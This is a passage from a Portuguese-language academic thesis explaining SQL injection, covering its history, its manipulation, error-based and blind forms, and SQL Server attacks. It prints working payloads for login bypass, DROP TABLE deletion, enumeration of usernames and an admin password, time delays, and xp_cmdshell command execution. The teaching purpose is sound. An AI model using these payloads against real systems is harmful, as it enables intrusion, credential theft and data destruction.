Utilizado na comparação de um modelo.
Utilizado para especificar registros de uma base de dados.
Exemplos de consultas realizadas na linguagem SQL podem ser vistas nos
Códigos 3 e 4.
SELECT *FROM usuarios;
Código 3 - Selecionando a tabela usuarios
UPDATE usuarios SET password = ‘123456’ WHERE user = ‘admin’;
Código 4 - Atualizando usuário
A consulta presente no Código 3 devolve como resposta um conjunto com todos
os registros da tabela usuarios e a consulta do Código 4 altera o campo password do
usuário ‘admin’, para o valor especificado.
Segundo Racciatti (2002) a seqüência de comandos da linguagem SQL é
realizada em partes, sendo possível comparar sua execução a um arquivo em lotes, no
qual suas instruções são executadas sequencialmente, para realizar a operação requerida.
2.5 Code Injection
Code Injection ou Injeção de Código é o nome dado à técnica utilizada para
introduzir (ou injetar) código em um programa de computador ou um sistema web, se
aproveitando de falhas de segurança e vulnerabilidades dos mesmos.
28
“Vulnerabilidades à injeção de código são falhas de programação que
permitem a um invasor alterar a semântica de uma expressão em uma
aplicação provendo entradas com conteúdo sintático” (PIETRASZEK &
BERGHE, 2005).
De acordo com Milenkovic et al (2005), um dos maiores problemas de
segurança é a execução de códigos maliciosos injetados. Através dessa técnica,
criminosos virtuais podem obter o controle total de domínios da web, ter acesso a dados
restritos e dentre outras possibilidades destruir dados. Os principais problemas gerados
por essa técnica são conseqüência de situações adversas ou errôneas causadas nos
sistemas atacados.
O propósito do uso da injeção de código consiste em burlar ou modificar a
intenção original da funcionalidade do programa, gerar situações anômalas e obter
respostas inesperadas da aplicação atacada. “Na maioria dos casos, o propósito do
invasor em conduzir um ataque por injeção de código contra uma aplicação web é
causar imediatamente uma resposta de um host [...]” (OLLMANN, 2004).
A injeção de código pode ser classificada em duas categorias, a de uso
intencional e a de uso não intencional:
O uso intencional pode ser maligno ou benigno. O uso maligno é o mais comum,
as técnicas de injeção de código são populares em invasões de sistemas para obter
(roubar) informações, privilégios de administrador ou acessos não autorizados. O uso
benigno da injeção de código consiste na utilização dessa técnica para testar o
comportamento de um programa e descobrir suas falhas e vulnerabilidades para
posterior correção das mesmas.
O uso não intencional de code injection acontece quando usuários finais causam
situações adversas em um programa sem intenção. Por exemplo, o que um usuário pode
considerar como caracteres válidos, podem ter sido considerados pelo programador do
sistema como caracteres especiais. Ao assumir esses caracteres como normais na
execução do sistema, o usuário pode gerar situações imprevistas, tendo como
conseqüências um acesso indevido, um erro fatal de sistema, dentre outros fatores.
Existem vários tipos de injeção de código utilizados por hackers principalmente
para invasão de aplicações da Internet, a exemplo de SQL Injection, PHP Injection, ASP
Injection, Javascript Injection, dentre outros.
29
A técnica SQL Injection é a forma de injeção de código mais utilizada
(PIETRASZEK & BERGHE, 2005) atualmente contra sistemas que possuem uma base
de dados, e foi definida como “ataque da moda” (RODRIGUES, 2003). Essa técnica
também pode ser considerada uma das mais perigosas, pois ataca diretamente a base de
dados de uma aplicação.
30
3. SQL INJECTION
Esta seção descreve sobre a técnica de invasão SQL Injection. São demonstrados
um histórico sobre como surgiu a técnica, características dessa forma de invasão (como
e porque funciona) e as três formas de ataque por SQL Injection (manipulação de SQL,
SQL Injection baseada em erros e Blind SQL Injection).
3.1 Histórico sobre SQL Injection
No dia do Natal de 1998 a edição 54 da revista Phrack foi lançada. “A Phrack é
uma revista hacker escrita pela comunidade para a comunidade” (LITCHFIELD,
2005). Era uma excelente fonte de informações técnicas sobre segurança e nesta edição
tinha um artigo intitulado "Vulnerabilidades em tecnologias web NT” (LITCHFIELD,
2005) escrito por um especialista de segurança chamado Rain Forest Puppy. Este artigo
descreveu, dentre outras coisas, um número de ataques utilizando SQL Injection,
contudo ele não usou esse termo em nenhuma parte do artigo naquela época. Rain
discutiu sobre aplicações Integrated Database Connector (IDC) e Active Server Page
(ASP) rodando em um servidor de informações da Internet da Microsoft alimentado por
um banco de dados SQL Server 6.5. Este artigo é a primeira publicação real da técnica
de invasão por SQL Injection e só não foi nomeada como tal nessa época (isso viria
depois). Logo depois dessa publicação, em fevereiro de 1999, um alerta foi publicado
por um site especializado em boletins de segurança chamado Allaire. O boletim discutia
as ameaças apresentadas por "Declarações SQL múltiplas em consultas dinâmicas"
(LITCHFIELD, 2005).
Três meses depois foi lançada uma nova nota interessante por Rain, com coautoria de Matthew Astley, intitulada "Compromisso Remoto ODBC NT" (PUPPY,
1999). O alerta discutia a injeção de código Visual Basic for Applications (VBA) em
consultas SQL de acesso, mas outra vez o termo "SQL Injection" não foi usado.
Pouco menos de um ano após a publicação do boletim de segurança da Allaire,
em três de fevereiro, um novo artigo sobre o assunto foi publicado por Rain. O artigo
foi intitulado de "Como eu hackeei a Packetstorm - Uma observação sobre como
hackear um fórum wwwthreads por SQL" (PUPPY, 2000). Embora o termo SQL
Injection ainda não tenha vindo à tona, Rain estava sendo pioneiro na exploração desta
31
vulnerabilidade. O Packetstorm é um site hacker que possui vários documentos úteis,
falhas de segurança (exploits) e scripts. Ao explorar as falhas em uma aplicação
wwwthreads escrita em perl, Rain foi capaz de injetar um código SQL arbitrário,
ganhando controle do servidor de banco de dados e se fazendo administrador do
mesmo.
Em setembro, sete meses depois, David Litchfield apresentou um artigo à
Blackhat Europe (site de discussões sobre segurança) chamado: "Avaliações de
Aplicações em IIS" (LITCHFIELD, 2000). Em uma parte deste artigo foram discutidos
ataques a servidores de banco de dados de aplicações em ASP utilizando "SQL
Insertion" (inserção SQL). David apresentou o artigo um dia depois à publicação do
"fórum de SQL Injection" no site SQLSecurity.com feita por Chip Andrews. Alguns
acreditam que Chip Andrews foi o primeiro a usar o termo "SQL Injection" em um
documento público, embora a empresa de auditoria e segurança em informática SANS
tenha usado esse termo em seus boletins semanais na mesma época. Não se sabe ao
certo quem usou esse termo primeiro.
Em abril de 2001, David Litchfield apresentou um novo artigo à Blackhat, o
nome do artigo era: "Depuração de Aplicações Web Remotas utilizando Mensagens de
Erro do ODBC" (LITCHFIELD, 2001). Este artigo introduziu novas técnicas que
podiam ser usadas para trabalhar com a estrutura exata de uma aplicação de banco de
dados utilizando SQL Injection.
O próximo grande passo a frente aconteceu em janeiro de 2002 quando Chris
Anley publicou um artigo intitulado "SQL Injection avançado em aplicações SQL
Server" (ANLEY, 2002). Este foi o primeiro documento a discutir sobre SQL Injection
em grande profundidade. Dois dias antes Kevin Spett havia lançado seu artigo "SQLInjection – Suas aplicações web estão vulneráveis?" (SPETT, 2002), e em Junho, Chris
seguiu com outro excelente artigo que introduzia atrasos de tempo (time delays) como
uma técnica para acessar dados, maliciosamente chamado de "SQL Injection (Mais)
Avançada" (ANLEY, 2002). Neste artigo Chris explicou como usar atrasos de tempo
para rastrear dados. Este foi o primeiro exemplo de ataque de inferência.
Em agosto de 2002, Cesar Cerrudo desenvolveu um documento intitulado de
"Manipulando o Microsoft SQL Server usando SQL Injection" (CERRUDO, 2002) e
32
forneceu uma ferramenta chamada de Data Thief (Ladrão de Dados), com o papel de
habilitar dados usando a função openrowset (função do SQL Server que é requerida para
acessar dados remotos). Na primeira semana de setembro de 2003 Ofer Maor e Amichai
Shulman lançaram um artigo nomeado "SQL Injection de olhos vendados” (MAOR &
SHULMAN, 2003) e no final de setembro de 2003 Kevin Spett lançou seu artigo "SQL
Injection Cega" (SPETT, 2005).
Em 2004 o site sobre vulnerabilidades 0x90.org divulgou a ferramenta SQueaL,
agora conhecida como Absinthe, uma ferramenta utilizada para automatizar a consulta
de dados por SQL Injection.
Esta pequena história menciona os principais passos e avanços conhecidos em
relação à técnica de invasão SQL Injection, mas deve ser lembrado que foram escritos
muitos outros artigos discutindo sobre técnicas de ataque a servidores de banco de
dados por Injeção de código SQL.
3.2 O que é SQL Injection?
A SQL Injection ou Injeção de SQL é uma metodologia de ataque que tem como
objetivo atacar o banco de dados de uma aplicação web. Essa técnica explora aplicações
web alterando declarações de comandos SQL através da manipulação de dados de
entrada enviados por formulários HTML, URLs ou qualquer área da aplicação que se
comunique com o banco de dados a fim de recuperar informações do mesmo. “Um
problema que afeta praticamente todas as linguagens de programação que acessam
bancos de dados é a vulnerabilidade de SQL Injection” (AZEVEDO, 2003).
Segundo Litchfield et al (2005) freqüentemente aplicações inadvertidas
permitem a execução de pesquisas arbitrárias em seu ambiente de banco de dados,
negligenciando a verificação dos dados de entrada. Através da técnica SQL Injection
invasores se aproveitam de falhas na validação de dados existentes em scripts (CGI)
residentes no servidor web. Essas falhas permitem que comandos SQL sejam enviados
ao servidor de banco de dados e executados pelo mesmo (Figura 3) sem nenhuma
verificação como filtragem de caracteres perigosos, verificação de tipos de dados,
checagem de tamanho de variáveis, dentre outros. “A técnica SQL Injection ocorre
quando informações enviadas por um navegador a uma aplicação web são inseridas em
33
uma consulta à base de dados sem serem propriamente checadas” (LITCHFIELD et al,
2005).
Figura 3 - Esquema da Injeção de SQL (Adaptado de JAVAFREE.ORG, 2003)
Segundo Kost (2004), aplicações vulneráveis à SQL Injection podem ser
potencialmente exploradas por hackers de várias maneiras como modificar valores
SQL, concatenar valores SQL, adicionar chamadas de função e stored procedures a uma
expressão, adicionar funções de sistema e procedimentos para descobrir informações
críticas sobre o servidor, dentre outras possibilidades. Os invasores que se utilizam da
injeção de SQL geralmente inserem apóstrofes em Universal Resource Locators (URLs)
que fazem consultas a uma base de dados, ou em campos de entrada para testar brechas
que favoreçam a injeção de comandos SQL. Se o intruso receber mensagens de erro será
uma boa chance de se conhecer o sistema atacado e descobrir vulnerabilidades à SQL
Injection.
Muitos desenvolvedores web não têm consciência de como as consultas SQL
podem ser usadas, assumindo assim que uma consulta SQL é um comando confiável. A
injeção direta de comandos SQL pode permitir ao invasor criar, inserir, destruir ou
alterar dados e tabelas, obter acesso a dados confidenciais, obter permissões de
administrador ou até mesmo executar perigosos comandos de sistema no servidor de
banco de dados dentre inúmeras outras possibilidades.
No Brasil quase não existe documentação sobre a técnica de invasão por SQL
Injection, sendo as informações existentes limitadas a pequenos artigos realizados em
sites sobre segurança. Muitos casos graves de ataques por SQL Injection a sites
brasileiros famosos já foram registrados, a exemplo do site do Partido dos
34
Trabalhadores (PT) que foi desfigurado no segundo turno das eleições de 2002 e o site
do Ministério da Justiça que foi pichado em 2003 (ANEXO A).
Litchfield (2005), baseado em uma avaliação de segurança a procura de
vulnerabilidades realizada em 2003/2004, afirmou: “Seis entre dez aplicações que se
conectam a um banco de dados são vulneráveis à SQL Injection”.
“As técnicas de injeção de comandos podem variar desde uma simples geração
de erros, que expõem aspectos do ambiente, até permitir o comprometimento completo
do sistema” (RUFINO, 2003). Apesar de existirem diferentes gerenciadores de banco de
dados, e estes possuírem diversas funcionalidades próprias, comandos SQL padrão são
aceitos pela maioria dessas aplicações, a exemplo de: MySQL, SQL Server, DB2,
Access, PostgreSQL, SYBASE, entre outros (TAYLOR, 2003, p.45). Sendo assim, o
risco da injeção de comandos não está restrito a um determinado gerenciador (embora
uns ofereçam mais riscos que outros). Segundo Litchfield (2005), não importa se a
aplicação está rodando Oracle, SQL Server, DB2, MySQL ou Informix em ASP, Java,
Cold Fusion, PHP ou Perl, tudo pode ser vulnerável à SQL Injection.
A Injeção de SQL é uma técnica muito perigosa, pois se aproveita de uma falha
humana. Sendo assim, a utilização de firewalls (filtros de proteção), escolha de
linguagem de programação e a escolha do banco de dados não têm influência
predominante na proteção contra esse ataque. Este é o principal motivo pelo qual esse
tipo de invasão prevalece e é muito difícil de ser erradicado.
Ainda que o perigo deste tipo de ataque ficasse restrito à manipulação de bases
de dados, o risco já seria suficientemente alto. Porém, infelizmente, a injeção de
comandos SQL extrapola estes limites e pode, em alguns ambientes, permitir ao invasor
obter informações do sistema, executar comandos arbitrários no servidor, invadir outros
servidores da mesma rede e até usar o método como base para ataques a terceiros.
3.3 Formas de SQL Injection
A técnica de invasão por SQL Injection pode ser dividida de várias formas.
Segundo Hotchkies (2006) a divisão mais abrangente classifica a SQL Injection em três
formas de ataque: Manipulação de SQL, SQL Injection baseada em erros e Blind SQL
35
Injection. Nesta Sessão são exibidas características e exemplos dessas três formas de
ataque.
3.3.1 Manipulação de SQL
Esta é a forma de SQL Injection mais básica e utilizada. A realização de um
ataque dessa categoria não exige grande conhecimento de manipulação de banco de
dados do invasor (embora caso o invasor detenha este conhecimento a aplicação seja
muito mais útil). A forma mais simples de SQL Injection é desviar formulários de login
através da manipulação de comandos básicos SQL (SPETT, 2005).
Segundo
Alfantookh (2004), a manipulação de SQL Injection ocorre quando um invasor
consegue injetar uma série de declarações SQL em uma "consulta" através da
manipulação de parâmetros em uma aplicação. Muitos sites que abordam assuntos sobre
hackers ensinam maneiras de se ter acesso a um banco de dados pela utilização dessa
técnica, permitindo que qualquer um seja capaz de realizá-la (daí sua alta
periculosidade).
A manipulação de SQL consiste em inserir códigos de consulta SQL diretamente
em URLs, formulários de entrada de dados (campos de pesquisa, áreas de login, dentre
outros) e qualquer área que se comunique com o banco de dados. A finalidade dessa
inserção é causar uma situação adversa na realização da consulta no servidor. Um
exemplo de consulta realizada por uma aplicação web é demonstrado no Código 5.
sql = ‘SELECT *FROM login WHERE nome = ‘nome’ AND senha = ‘senha’
‘;
Código 5 - Esquema de consulta
No Código 5 a variável sql representa a consulta que será executada no BD, os
dados nome e senha de usuário serão recebidos através de um formulário HTML. Como
se pode observar não existe nenhum processo de validação das entradas cedidas pelo
usuário, então se o usuário entrasse com o código qualquer no campo nome e o código
‘ or ‘1’=’1 no campo senha, a variável sql ficaria como no Código 6.
36
sql = ‘SELECT *FROM login where nome = ‘qualquer’ AND senha = ‘‘ OR
‘1’=’1’
‘;
Código 6 - SQL Injetada
Nesse caso, a consulta procuraria resultados onde o usuário se chamasse
‘qualquer’, a senha seja vazia ou resultados em que ‘1’=’1’. A execução da consulta no
Código 6 sempre resultará num resultado verdadeiro, pois ‘1’ é sempre igual a ‘1’.
Sendo assim o usuário obterá permissão para entrar normalmente no sistema, podendo
atuar no mesmo sem ter cadastro.
“Infelizmente, uma notícia ruim para as pessoas bem – intencionadas, mas
uma boa notícia para as pessoas mal – intencionadas, é o fato de que 1 = 1
é verdadeiro para cada linha na tabela, assim o invasor vê todas as linhas
na tabela” (HOWARD & LEBLANC, 2005, p.378).
Várias outras situações podem ser causadas pelo uso dessa técnica, com o uso do
comando SELECT, por exemplo, se podem obter várias informações do servidor, como
senhas de usuários, nomes de tabelas, dentre outros aspectos. Por exemplo, se o usuário
inserisse o código ‘;SELECT *FROM login-- no campo nome a variável sql ficaria
como no Código 7.
sql = ‘SELECT * FROM login WHERE nome = ‘’; SELECT *FROM login --’ AND
senha = ‘‘ OR ‘1’=’1’
‘;
Código 7 - Comentando linhas
O caractere ‘;’ indica o fim de um comando SQL, e a instrução ‘SELECT
*FROM login’ retorna todos os campos da tabela login. O comando ‘--‘ é um indicador
de comentários em SQL, sendo assim a execução dessa consulta no banco de dados
resultaria em uma tabela com os dados de todos os usuários e ignoraria tudo que
ocorresse depois desse comando (por causa do comentário).
“O operador de
comentário ‘--‘ é suportado por muitos servidores de banco de dados relacionais,
incluindo o Microsoft SQL Server, IBM DB2, Oracle, PostgreSQL e MySQL”
(HOWARD & LEBLANC, 2005, p.379).
37
Os mesmos comandos podem ser utilizados em URLs que fazem interação direta
com um BD, por exemplo no Código 8.
www.site_atacado.com.br/login.php?userid=7
Código 8 - URL normal
Se modificarmos a URL do Código 8 para ficar como no Código 9.
www.site_atacado.com.br/login.php?userid=7;DELETE%20TABLE%20login--
Código 9 - URL atacada
Ao executar a URL do Código 9, o invasor destruirá por completo a tabela login
do BD, lembrando que a string ‘%20’ significa um espaço simples em linguagem
HTML. É importante lembrar que a injeção de SQL não se limita ao comando SELECT,
é possível usá-la para criar instruções com comandos como INSERT, UPDATE,
DELETE, DROP, CREATE TABLE, ALTER TABLE, dentre outros inúmeros comandos
da linguagem SQL.
3.3.2 SQL Injection baseado em erros
Essa técnica de SQL Injection exige um pouco mais de experiência do invasor. O
modo baseado em erros consiste na inserção sistemática de códigos para causar erros na
aplicação atacada com a intenção de obter informações importantes sobre o servidor
atacado através dos erros gerados. Em situações onde o invasor não tem conhecimento
sobre a base de dados que ele deseja invadir, forçar uma exceção pode revelar mais
detalhes sobre as tabelas ou até mesmo o nome de seus campos e tipos (BOYD &
KEROMYTIS, 2004).
A forma de SQL Injection com base em erros da aplicação consiste num método
de “tentativas e erros”, onde o invasor força a aplicação web a gerar erros, utilizando-os
para realizar um estudo sistemático sobre a estrutura desta aplicação e assim poder
formular um poderoso ataque.
38
“Hackers geralmente testam vulnerabilidades à SQL Injection mandando
para a aplicação entradas que forçariam o servidor a gerar consultas SQL
Inválidas. Se o servidor retornar mensagens de erro ao cliente, o invasor irá
se esforçar para utilizar engenharia reversa nas porções originais da
consulta SQL usando as informações obtidas das mensagens de erro
geradas pela aplicação” (SPETT, 2005).
Através dos erros gerados por uma aplicação web (Mensagem 1) o invasor pode
identificar campos vulneráveis à SQL Injection e obter informações preciosas do banco
de dados, tais como tamanho de campos, tipos de campos, número de colunas de uma
tabela, nomes de tabelas, dentre inúmeras possibilidades. Um exemplo pode ser visto no
Código 10, em que a variável processo recebe uma consulta por processos.
processo = SELECT *FROM processos WHERE processo = ‘idprocesso’;
Código 10 - Variável processo
Se um invasor insere uma apóstrofe (‘) no campo processo da aplicação web,
rodando em um servidor de banco de dados Microsoft SQL Server, provavelmente
receberá uma mensagem de erro semelhante a da Mensagem 1.
•
Tipo de erro:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed
quotation mark before the character string '')) '.
/processosql1/tramiteconsulta_1a1.asp, line 30
•
Página:
GET /processosql1/tramiteconsulta_1a1.asp
Mensagem 1 - Erro de sintaxe gerado na aplicação
Através desse simples teste, além de descobrir um campo vulnerável a SQL
Injection, o invasor obtém várias informações sobre seu alvo (Mensagem 1), como o
tipo de gerenciador de banco de dados (SQL Server), a linguagem que faz a conexão
com o BD (ASP) e o método de envio das informações (GET). A partir daí muitos
outros testes poderão ser gerados para poder então construir um possível ataque.
Segundo Litchfield et al (2005) a apóstrofe inserida pelo usuário fechou a primeira
apóstrofe presente no código e a segunda apóstrofe ficou aberta gerando um erro de
execução no BD. A partir desse erro o invasor poderá começar a injetar literais no
campo de pesquisa de processos para adaptar seu comportamento. Por exemplo, uma
39
vez que o invasor descobriu a vulnerabilidade deste campo ele pode apagar a tabela que
contém todos os processos cadastrados no BD utilizando o Código 11.
processo = SELECT *FROM processos WHERE processo = ‘’;DROP TABLE
processos--’;
Código 11 - Apagando processos
Muitos gerenciadores de banco de dados (SQL Server, MySQL, Oracle, dentre
outros) fornecem informações úteis aos invasores tornando-os vulneráveis a esse tipo de
invasão. “O SQL Server também é particularmente vulnerável a este tipo de ataque em
decorrência de suas mensagens de erro” (LITCHFIELD et al, 2005).
De acordo com Litchfield et al (2005), dependendo de como estão configuradas
as mensagens de erro geradas pelo gerenciador de banco de dados, através destas um
invasor pode obter nomes de tabelas, nomes de usuários ou qualquer dado presente no
BD, a versão do BD utilizado, e várias outras informações sobre a base de dados. “Se
você recebeu uma mensagem de erro do servidor de banco de dados ou alguma forma
de retorno, a injeção foi definitivamente um sucesso” (SPETT, 2005).
A forma de ataque SQL Injection baseada em erros apesar de ser menos utilizada
que a simples inserção direta de código SQL, é mais perigosa e eficaz, pois um invasor
que realiza um ataque desta natureza geralmente detém maior conhecimento sobre
banco de dados e estuda toda a estrutura da aplicação web alvo para realizar um ataque.
3.3.3 Blind SQL Injection
Essa forma de SQL Injection, também chamada de injeção cega de SQL ou
Injeção indireta de SQL, consiste na forma mais completa e de difícil
proteção/implementação da SQL Injection. A Blind SQL Injection é muito parecida
com o método baseado em erros com a diferença que este método é utilizado quando
uma aplicação não retorna mensagens de erro para o usuário final. Esta característica
torna esse método potencialmente mais difícil de ser realizado, mas não impossível. O
invasor pode ainda preparar-se para roubar dados fazendo uma série de perguntas
verdadeiras e falsas através de comandos SQL. Assim como a SQL Injection baseada
em erros, a Injeção cega de SQL realiza uma série de testes à procura de informações do
40
servidor de banco de dados. “Se sua aplicação web não retorna mensagens de erro,
ainda assim ela pode ser suscetível a ataques de SQL Injection” (SPETT, 2005).
A utilização da Blind SQL Injection de forma manual pode levar até meses para
gerar algum sucesso na invasão de um sistema web, por esse motivo foram criadas
poderosas ferramentas para automatizar esse processo, fazendo com que o mesmo seja
efetuado em alguns segundos. São exemplos dessas ferramentas: Acunetix, SQueaL,
Absinthe, dentre outras. Estas ferramentas também podem ser muito úteis para
desenvolvedores de sites a fim de realizar testes em seus sistemas para verificar se os
mesmos não possuem vulnerabilidades.
A Blind SQL Injection utiliza valores booleanos para fazer perguntas ao banco
de dados à procura de respostas verdadeiras e negativas e depois interpretar os
resultados obtidos. Um invasor que deseja realizar um ataque SQL cego tenta criar
várias situações em que uma aplicação geraria erros. Analisando o comportamento do
sistema, observando como o mesmo lida com os erros e comparando com o que
aconteceria em situações errôneas de SQL, o espião formula seus ataques.
A técnica mais utilizada por usuários mal-intencionados para realizar ataques
cegos a aplicações que não retornam erros é conhecida como atrasos de tempo ou time
delays (ANLEY, 2002). Um exemplo de time delay pode ser visualizado no Código 12,
que está levando em consideração que o BD atacado seja SQL Server (esta técnica pode
ser aplicada para quase todos os gerenciadores de banco de dados).
WAITFOR DELAY '0:0:5'
Código 12 - Exemplo de Time delay
Ao executar o comando do Código 12 em um BD SQL Server o servidor ficará
inativo por aproximadamente 5 segundos. Segundo Anley (2002) isto permite ao
invasor obter um meio de comunicação com a base de dados através do navegador. O
invasor pode utilizar atrasos de tempo para receber respostas de sim ou não para várias
questões pertinentes sobre o BD e seu ambiente (LITCHFIELD et al, 2005). Um
exemplo de Blind SQL Injection utilizando time delays pode ser dado pelo Código 13.
41
‘ UNION SELECT IF (SELECT USER) = 'sa' WAITFOR DELAY '0:0:5'--
Código 13 - Exemplo de Blind Injection
O comando presente no Código 13 irá congelar a base de dados por 5 segundos
se a base de dados estiver rodando com o usuário padrão do SQL Server “sa”. A partir
do exemplo no Código 13, várias perguntas podem ser realizadas utilizando atrasos de
tempo, como por exemplo, o sistema operacional utilizado ou se o servidor esta
protegido por um firewall, dentre outras opções.
42
4. VULNERABILIDADES EM SISTEMAS ESPECÍFICOS
O método de invasão por SQL Injection pode ser utilizado na maioria dos
gerenciadores de banco de dados conectados à Internet que utilizam à linguagem SQL.
Esta Seção demonstra como são realizados ataques por SQL Injection em três dos
principais gerenciadores de banco de dados existentes no mercado: SQL Server, MySQL
e Oracle. São demonstradas particularidades de cada sistema, algumas das principais
vulnerabilidades aproveitadas por invasores e exemplos de ataques.
4.1 Vulnerabilidades Em SQL Server
A técnica SQL Injection é provavelmente a forma de ataque mais utilizada
contra o gerenciador de banco de dados SQL Server (LITCHFIELD et al, 2005). De
acordo com Litchfield et al (2005) aplicações web desenvolvidas em nível doméstico
contribuem para o crescimento desse tipo de ataque, pois tais aplicações geralmente não
passam pelos mesmos procedimentos de segurança realizados em grandes empresas na
construção de softwares comerciais. O SQL Server é uma plataforma rica em serviços e
características, mas essa riqueza em atributos pode se tornar maléfica se não for
utilizada corretamente. Para BEAUCHEMIN et al (2004) o produto SQL Server sempre
foi bem conhecido por ser rico em características, mas aquelas que não são conhecidas
pelo administrador podem aumentar a área de exposição ao ataque de hackers.
A injeção de código SQL ocorre quando uma informação enviada por um
navegador para uma aplicação web é inserida em uma consulta a um banco de dados
sem ser apropriadamente checada. Segundo Licthfield et al (2005) o SQL Server é
particularmente vulnerável a este tipo de ataque em decorrência de suas mensagens de
erro. Scripts que realizam a conexão com o banco de dados geralmente exibem as
mensagens de erro retornadas pelo gerenciador de banco de dados por default e, através
dessas mensagens, um invasor pode ter acesso a informações importantes da base de
dados.
“Felizmente para o invasor, se mensagens de erro são retornadas pela
aplicação (comportamento padrão do ASP) o invasor pode determinar a
estrutura inteira da base de dados, e ler qualquer valor que pode ser lido
pela conta que a aplicação ASP está usando para se conectar ao SQL
Server” (ANLEY, 2002).
43
Um exemplo de invasão por SQL Injection em SQL Server através da utilização
de mensagens de erros seria um formulário HTML que recebe dados de um usuário e os
repassa para um script qualquer rodando em um servidor web. No Código 14 temos o
esquema da tabela de usuários criada na base de dados.
nome varchar(255)
senha varchar(255)
Código 14 - Esquema da tabela de usuários
A consulta realizada é demonstrada no Código 15.
SELECT *FROM usuarios WHERE
nome = ‘[nome]’ AND
senha = ‘[senha]’;
Código 15 - Consulta por usuário
No entanto o script constrói a consulta através dos dados inseridos pelo usuário
utilizando o código 16.
var consulta = “SELECT *FROM usuarios WHERE nome = ‘”
+ nome + “’ AND senha = ‘” + senha + “’”;
Código 16 - Variável consulta
Um exemplo de mensagem de erro do SQL Server pode ser visualizado
inserindo o comando do Código 17 em um dos campos nome ou senha do formulário
HTML e enviando-os ao script que realizará a conexão com o BD.
‘ AND 1 IN (SELECT @@VERSION)--
Código 17 - Visualizar versão do SQL Server
44
Ao executar a pesquisa do Código 16 inserindo os dados do Código 17 será
retornado um erro ao navegador que revela a versão do SQL Server que esta sendo
utilizada no servidor, demonstrado na Mensagem 2.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
Nov 19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation
Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 3) ' to
a column of data type int.
/login.asp, line 16
Mensagem 2 - Versão do SQL Server
Segundo Licthfield et al (2005) uma vez que o invasor tem idéia de como é o
esquema utilizado para recuperar informações de usuário, ele pode formular uma
consulta para adicionar seu usuário. O Código 18 contém o comando utilizado para
injetar um usuário no BD.
‘;INSERT INTO usuarios VALUES(‘bob’,’s3cret’)--
Código 18 - Injetando usuário no BD
De acordo com ANLEY (2002) as mensagens de erro geradas pelo SQL
Server relacionadas à conversão de tipos são especialmente úteis. Se tentarmos
converter um literal em um inteiro, o conteúdo inteiro do literal é retornado na
mensagem de erro. Esta técnica pode ser usada para ler qualquer valor em qualquer
tabela da base de dados. O código 19 exibe um exemplo de como recuperar um nome de
usuário da tabela usuarios.
'UNION SELECT MIN(nome) FROM usuarios WHERE
nome > 'a'--
Código 19 - Recuperando nome de usuário da tabela
O comando do Código 19 seleciona o primeiro nome de usuário em ordem
alfabética (o primeiro que é alfabeticamente maior do que a letra ‘a’) da tabela usuarios
e tenta convertê-lo em um número inteiro. Os hífens no final do código representam
45
comentários em SQL Server, tudo que estiver após eles será ignorado pelo servidor. Ao
tentar executar o comando do Código 19 um erro de sintaxe será gerado (Mensagem 3),
revelando um dos nomes da tabela usuarios.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/login.asp, line 16
Mensagem 3 - Revelando nome da tabela
No erro demonstrado na Mensagem 3 foi revelado o nome de usuário admin da
tabela usuarios, agora todos os usuários do sistema podem ser enumerados pela
substituição do último nome de usuário retornado por “a” (‘admin’) na consulta
presente no Código 19, resultando no erro visualizado na Mensagem 4.
' union select min(nome) from usuarios where nome > 'admin'-Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'bob' to a column of data type int.
/login.asp, line 16
Mensagem 4 - Revelando próximo nome da tabela
Na Mensagem 4 foi revelado o segundo nome da tabela usuario (‘bob’), o
mesmo processo utilizado para recuperar o segundo nome é utilizado até que nenhum
resultado seja retornado, significando que foram listados todos os nomes de usuário da
tabela. De acordo com Litchfield et al (2005) após conseguir a lista de usuários do BD,
é possível roubar a senha de qualquer usuário (inclusive o administrador) com o
comando representado no código 20.
' OR 1 IN (SELECT senha FROM USUARIOS WHERE nome = 'admin')--
Código 20 - Roubando senha de usuário
O comando do código 18 retornará o erro presente na Mensagem 5.
46
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'nE1410s' to a column of data type int.
/login.asp, line 16
Mensagem 5 - Revelando Senha do admin
O valor ‘nE1410s’ presente na Mensagem 5 revela a senha do usuário admin,
exposta na mensagem de erro gerada pelo SQL Server ao tentar converter o literal senha
em um número inteiro. Os exemplos citados demonstram somente algumas das
possibilidades que a técnica de erros relacionados à conversão de tipos pode oferecer.
Segundo Anley (2002) se um invasor puder obter ricas informações de erro de um BD,
seu trabalho será infinitamente mais fácil.
4.1.1 Ataques em nível de sistema
Segundo Anley (2002) uma vez que um invasor tem o controle da base de dados,
ele certamente desejará obter controle do sistema operacional e até de toda a rede à qual
o servidor pertence. Esse acesso pode ser obtido através de recursos conhecidos como
Extended Stored Procedures existentes no SQL Server.
"Extended Stored procedures são essencialmente Bibliotecas Dinâmicas
(DLLs) que utilizam uma convenção de chamada específica do SQL Server
para rodar funções externas. Elas permitem aplicações SQL Server a ter
acesso a todo o poder das linguagens C/C++, e são características
extremamente úteis. Existem um número de Extended Stored Procedures
embutidos no SQL Server, e realizam várias funções como enviar emails e
interagir com o registro” (ANLEY, 2002).
Segundo Spett (2005) existem mais de 1000 (mil) Extended Stored Procedures
no SQL Server. Se um invasor estiver trabalhando com SQL Injection em uma aplicação
que se conecta a um BD SQL Server, esses procedures podem ser utilizados na invasão.
O comando xp_cmdshell é um exemplo de Extended Stored Procedure que permite a
execução de comandos arbitrários no sistema operacional do servidor. Segundo
Litchfield et al (2005) se a aplicação vulnerável está conectando a base de dados com
privilégios de administrador, ataques podem ser lançados no sistema operacional que
abriga o banco de dados através do comando xp_cmdshell. Um exemplo da utilização do
comando xp_cmdshell está representado no Código 21.
47
‘; exec master..xp_cmdshell ‘dir > C:\dir.txt’--
Código 21 - Utilização do comando xp_cmdshell
Injetando o comando descrito no Código 21 como nome de usuário em uma
